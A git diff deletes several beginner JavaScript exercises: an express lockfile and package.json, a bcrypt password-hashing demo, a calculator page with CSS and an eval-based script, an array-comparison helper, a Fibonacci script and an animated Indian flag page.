"1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" - }, - "body-parser": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", - "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", - "requires": { - "bytes": "3.1.2", - "content-type": "~1.0.4", - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "on-finished": "2.4.1", - "qs": "6.10.3", - "raw-body": "2.5.1", - "type-is": "~1.6.18", - "unpipe": "1.0.0" - } - }, - "bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" - }, - "call-bind": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", - "requires": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" - } - }, - "content-disposition": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", - "requires": { - "safe-buffer": "5.2.1" - } - }, - "content-type": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", - "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" - }, - "cookie": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", - "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==" - }, - "cookie-signature": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", - "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" - }, - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" - }, - "destroy": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==" - }, - "ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" - }, - "encodeurl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", - "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==" - }, - "escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" - }, - "etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==" - }, - "express": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", - "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", - "requires": { - "accepts": "~1.3.8", - "array-flatten": "1.1.1", - "body-parser": "1.20.0", - "content-disposition": "0.5.4", - "content-type": "~1.0.4", - "cookie": "0.5.0", - "cookie-signature": "1.0.6", - "debug": "2.6.9", - "depd": "2.0.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "1.2.0", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.7", - "qs": "6.10.3", - "range-parser": "~1.2.1", - "safe-buffer": "5.2.1", - "send": "0.18.0", - "serve-static": "1.15.0", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "type-is": "~1.6.18", - "utils-merge": "1.0.1", - "vary": "~1.1.2" - } - }, - "finalhandler": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", - "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", - "requires": { - "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "statuses": "2.0.1", - "unpipe": "~1.0.0" - } - }, - "forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" - }, - "fresh": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==" - }, - "function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" - }, - "get-intrinsic": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.2.tgz", - "integrity": "sha512-Jfm3OyCxHh9DJyc28qGk+JmfkpO41A4XkneDSujN9MDXrm4oDKdHvndhZ2dN94+ERNfkYJWDclW6k2L/ZGHjXA==", - "requires": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.3" - } - }, - "has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "requires": { - "function-bind": "^1.1.1" - } - }, - "has-symbols": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", - "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==" - }, - "http-errors": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", - "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", - "requires": { - "depd": "2.0.0", - "inherits": "2.0.4", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "toidentifier": "1.0.1" - } - }, - "iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "requires": { - "safer-buffer": ">= 2.1.2 < 3" - } - }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - }, - "ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" - }, - "media-typer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==" - }, - "merge-descriptors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", - "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" - }, - "methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==" - }, - "mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" - }, - "mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" - }, - "mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "requires": { - "mime-db": "1.52.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "negotiator": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" - }, - "object-inspect": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz", - "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==" - }, - "on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - "requires": { - "ee-first": "1.1.1" - } - }, - "parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" - }, - "path-to-regexp": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", - "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" - }, - "proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "requires": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - } - }, - "qs": { - "version": "6.10.3", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", - "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", - "requires": { - "side-channel": "^1.0.4" - } - }, - "range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" - }, - "raw-body": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", - "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", - "requires": { - "bytes": "3.1.2", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "unpipe": "1.0.0" - } - }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" - }, - "safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" - }, - "send": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", - "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", - "requires": { - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "mime": "1.6.0", - "ms": "2.1.3", - "on-finished": "2.4.1", - "range-parser": "~1.2.1", - "statuses": "2.0.1" - }, - "dependencies": { - "ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" - } - } - }, - "serve-static": { - "version": "1.15.0", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", - "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", - "requires": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.3", - "send": "0.18.0" - } - }, - "setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" - }, - "side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", - "requires": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" - } - }, - "statuses": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", - "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==" - }, - "toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==" - }, - "type-is": { - "version": "1.6.18", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", - "requires": { - "media-typer": "0.3.0", - "mime-types": "~2.1.24" - } - }, - "unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==" - }, - "utils-merge": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==" - }, - "vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==" - } - } -} diff --git a/Add Code Here/JAVASCRIPT/BMI Calculator/package.json b/Add Code Here/JAVASCRIPT/BMI Calculator/package.json deleted file mode 100644 index 4fd21000974..00000000000 --- a/Add Code Here/JAVASCRIPT/BMI Calculator/package.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "calculator", - "version": "1.0.0", - "description": "", - "main": "calculator.js", - "scripts": { - "test": "echo \"Error: no test specified\" && exit 1" - }, - "author": "Khushi", - "license": "ISC", - "dependencies": { - "body-parser": "^1.20.0", - "express": "^4.18.1" - } -} diff --git a/Add Code Here/JAVASCRIPT/BcryptDemo/index.js b/Add Code Here/JAVASCRIPT/BcryptDemo/index.js deleted file mode 100644 index 1adb8b33327..00000000000 --- a/Add Code Here/JAVASCRIPT/BcryptDemo/index.js +++ /dev/null @@ -1,17 +0,0 @@ -const bcrypt=require('bcrypt'); - -const hashPassword=async(pw)=>{ - const salt=await bcrypt.genSalt(12); - const hash=await bcrypt.hash(pw,salt); - console.log(salt); - console.log(hash); -} -const login=async(pw,hashedPw)=>{ - const result=await bcrypt.compare(pw,hashedPw); - if(result){ - console.log('LOGGED YOU IN SUCCESSFULLY !!'); - } - else { - console.log('INCORRECT PASSWORD!'); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Calculator/bg.png b/Add Code Here/JAVASCRIPT/Calculator/bg.png deleted file mode 100644 index 902aa893c84..00000000000 Binary files a/Add Code Here/JAVASCRIPT/Calculator/bg.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Calculator/index.css b/Add Code Here/JAVASCRIPT/Calculator/index.css deleted file mode 100644 index 948719455c7..00000000000 --- a/Add Code Here/JAVASCRIPT/Calculator/index.css +++ /dev/null @@ -1,80 +0,0 @@ -body{ - margin: 80px; - background-image: url("bg.png"); - -} -h1{ - text-align: center; - font-size: 66px; - font-family: 'Noto Sans Mono', monospace; - font-weight: bolder; - background: -webkit-linear-gradient( purple , #008080); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.box{ - height: 450px; - width: 400px; - align-content: center; - border: 1px solid #C3B1E1; - background-color: #C3B1E1; - margin: auto; - border-radius: 15px; -} -.button{ - width: 60px; - height: 60px; - margin: 3px; - border: 2px solid #C3B1E1; - background-color: lightslategray; - border-radius: 100%; - cursor: pointer; - color: white; - font-size: 20px; -} -.button:hover{ - background-color: #C3B1E1; - color: black; -} -.row{ - text-align: center; -} -.row input{ - font-size:50px ; - color: white; - margin: 3px; - padding:5px 5px; - padding-top: 50px; - padding-bottom: 40px; - border-radius: 10px; - width: 270px; - border: 2px solid #C3B1E1; - background-color: #C3B1E1; - height: 10px; - text-align: right; -} -.row1{ - text-align: center; -} -.row1 .button{ - border-radius: 50%; - background-color: #008080; -} -.row1 .button:hover{ - background-color: #C3B1E1; -} -.buttons{ - width: 60px; - height: 60px; - margin: 3px; - border: 2px solid #C3B1E1; - background-color: #008080; - border-radius: 100%; - cursor: pointer; - color: white; - font-size: 20px; -} -.buttons:hover{ - background-color: #C3B1E1; -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Calculator/index.html b/Add Code Here/JAVASCRIPT/Calculator/index.html deleted file mode 100644 index 4726eded368..00000000000 --- a/Add Code Here/JAVASCRIPT/Calculator/index.html +++ /dev/null @@ -1,57 +0,0 @@ - - - - - - Calculator - - - -

Calculator

-
-
- -
-
- - - - - -
-
- - - - -
- -
- - - - - - -
-
- - - - - -
-
- - - - - -
- - -
- - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Calculator/string.js b/Add Code Here/JAVASCRIPT/Calculator/string.js deleted file mode 100644 index 2b78d4eaf33..00000000000 --- a/Add Code Here/JAVASCRIPT/Calculator/string.js +++ /dev/null @@ -1,30 +0,0 @@ -let string = ""; -let buttons = document.querySelectorAll('.button'); -Array.from(buttons).forEach((button)=>{ - button.addEventListener('click' , (e)=> { - if(e.target.innerHTML == '='){ - string = eval(string); - document.querySelector('input').value = string; - } - else if(e.target.innerHTML == 'AC'){ - string = ''; - document.querySelector('input').value = string; - } - else if(e.target.innerHTML == 'M+'){ - string = string + eval(string); - document.querySelector('input').value = string; - } - else if(e.target.innerHTML == 'M-'){ - string = string - eval(string); - document.querySelector('input').value = string; - } - - else{ - console.log(e.target) - string = string + e.target.innerHTML; - document.querySelector('input').value = string; - } - - }) - -}) diff --git a/Add Code Here/JAVASCRIPT/Compare Two Array/index.js b/Add Code Here/JAVASCRIPT/Compare Two Array/index.js deleted file mode 100644 index ba3a98bb9f4..00000000000 --- a/Add Code Here/JAVASCRIPT/Compare Two Array/index.js +++ /dev/null @@ -1,14 +0,0 @@ -const compareEqualsArray = (a, b) => { - if (a.length !== b.length) return false - const uniqueValues = new Set([...a, ...b]) - for (const v of uniqueValues) { - const aCount = a.filter((e) => e === v).length - const bCount = b.filter((e) => e === v).length - if (aCount !== bCount) return false - } - return true -} - -console.log(compareEqualsArray(['a', 'b', 'c', 'b'], ['b', 'b', 'c', 'a'])) // Expected true -console.log(compareEqualsArray(['a', 'b', 'c', 'b'], ['d', 'c', 'c', 'a'])) // Expected false -console.log(compareEqualsArray(['a', 'b', 'c', 'b'], ['b', 'c', 'a'])) // Expected false diff --git a/Add Code Here/JAVASCRIPT/Fibonacci.js b/Add Code Here/JAVASCRIPT/Fibonacci.js deleted file mode 100644 index e1fe507551b..00000000000 --- a/Add Code Here/JAVASCRIPT/Fibonacci.js +++ /dev/null @@ -1,13 +0,0 @@ -const number = Number(prompt("Enter the number of terms: ")); -let n1 = 0, - n2 = 1, - nextTerm; - -console.log("Fibonacci Series:"); - -for (let i = 1; i <= number; i++) { - console.log(n1); - nextTerm = n1 + n2; - n1 = n2; - n2 = nextTerm; -} diff --git a/Add Code Here/JAVASCRIPT/Indian Flag/main.html b/Add Code Here/JAVASCRIPT/Indian Flag/main.html deleted file mode 100644 index 19dd0373cba..00000000000 --- a/Add Code Here/JAVASCRIPT/Indian Flag/main.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - - Independence Day - - - - - - -
-
- -
-
-
-
Independence Day
- diff --git a/Add Code Here/JAVASCRIPT/Indian Flag/style.css b/Add Code Here/JAVASCRIPT/Indian Flag/style.css deleted file mode 100644 index 8693f19fba3..00000000000 --- a/Add Code Here/JAVASCRIPT/Indian Flag/style.css +++ /dev/null @@ -1,140 +0,0 @@ -body { - background: #111; - position: relative; - left: 45%; - top: 15px; - overflow: hidden; -} -#top { - height: 50px; - background: #ff9c51; - box-shadow: 0 0 5px #ff9c51; - -webkit-animation: top_anim 4.5s infinite; - animation: top_anim 4.5s infinite; -} -@-webkit-keyframes top_anim -{ - 0% {width: 0px;} - 30%{width: 250px;} - 70%{width: 250px;} - 100%{width: 0px;} -} -@keyframes top_anim -{ - 0% {width: 0px;} - 30%{width: 250px;} - 70%{width: 250px;} - 100%{width: 0px;} -} -#middle { - height: 50px; - background: white; - box-shadow: 0 0 5px white; - -webkit-animation: middle_anim 4.5s infinite; - animation: middle_anim 4.5s infinite; - -webkit-animation-delay: .2s; - animation-delay: .2s; -} -@-webkit-keyframes middle_anim -{ - 0% {width: 0px;} - 30%{width: 250px;} - 70%{width: 250px;} - 100%{width: 0px;} -} -@keyframes middle_anim -{ - 0% {width: 0px;} - 30%{width: 250px;} - 70%{width: 250px;} - 100%{width: 0px;} -} -#middle img { - display: block; - width: 50px; - height: 50px; - margin: auto; - -webkit-animation: img_anim 4.5s infinite linear; - -webkit-animation-delay: .2s; - animation: img_anim 4.5s infinite; - animation-delay: .2s; -} -@-webkit-keyframes img_anim -{ - 0% {opacity: 0;} - 30% {opacity: 0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-ms-transform:rotate(0deg);} - 38% {opacity: 1;} - 62% {opacity: 1;} - 70% {opacity: 0;-webkit-transform:rotate(360deg);transform:rotate(360deg);-ms-transform:rotate(360deg);} - 100% {opacity: 0;} -} -@keyframes img_anim -{ - 0% {opacity: 0;} - 30% {opacity: 0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-ms-transform:rotate(0deg);} - 38% {opacity: 1;} - 62% {opacity: 1;} - 70% {opacity: 0;-webkit-transform:rotate(360deg);transform:rotate(360deg);-ms-transform:rotate(360deg);} - 100% {opacity: 0;} -} -#bottom { - height: 50px; - background: #5aad5e; - box-shadow: 0 0 5px #5aad5e; - -webkit-animation: bottom_anim 4.5s infinite; - animation: bottom_anim 4.5s infinite; - -webkit-animation-delay: .4s; - animation-delay: .4s; -} -@-webkit-keyframes bottom_anim -{ - 0% {width: 0px;} - 30%{width: 250px;} - 70%{width: 250px;} - 100%{width: 0px;} -} -@keyframes bottom_anim -{ - 0% {width: 0px;} - 30%{width: 250px;} - 70%{width: 250px;} - 100%{width: 0px;} -} -#rod { - width: 10px; - height: 450px; - background: #874a21; - position: relative; - top: -152px; - left: -7px; - border-radius: 40%; -} -#text { - font-size: 35px; - color: white; - line-height: 50px; - text-align: center; - border-top: 4px solid #FF8915; - border-left: 4px solid white; - border-right: 4px solid white; - border-bottom: 4px solid #148809; - border-radius: 4px; - display: block; - width: 250px; - height: 100px; - position: relative; - left: -300px; - top: -600px; - -webkit-animation: text_anim 4.5s infinite; - animation: text_anim 4.5s infinite; -} 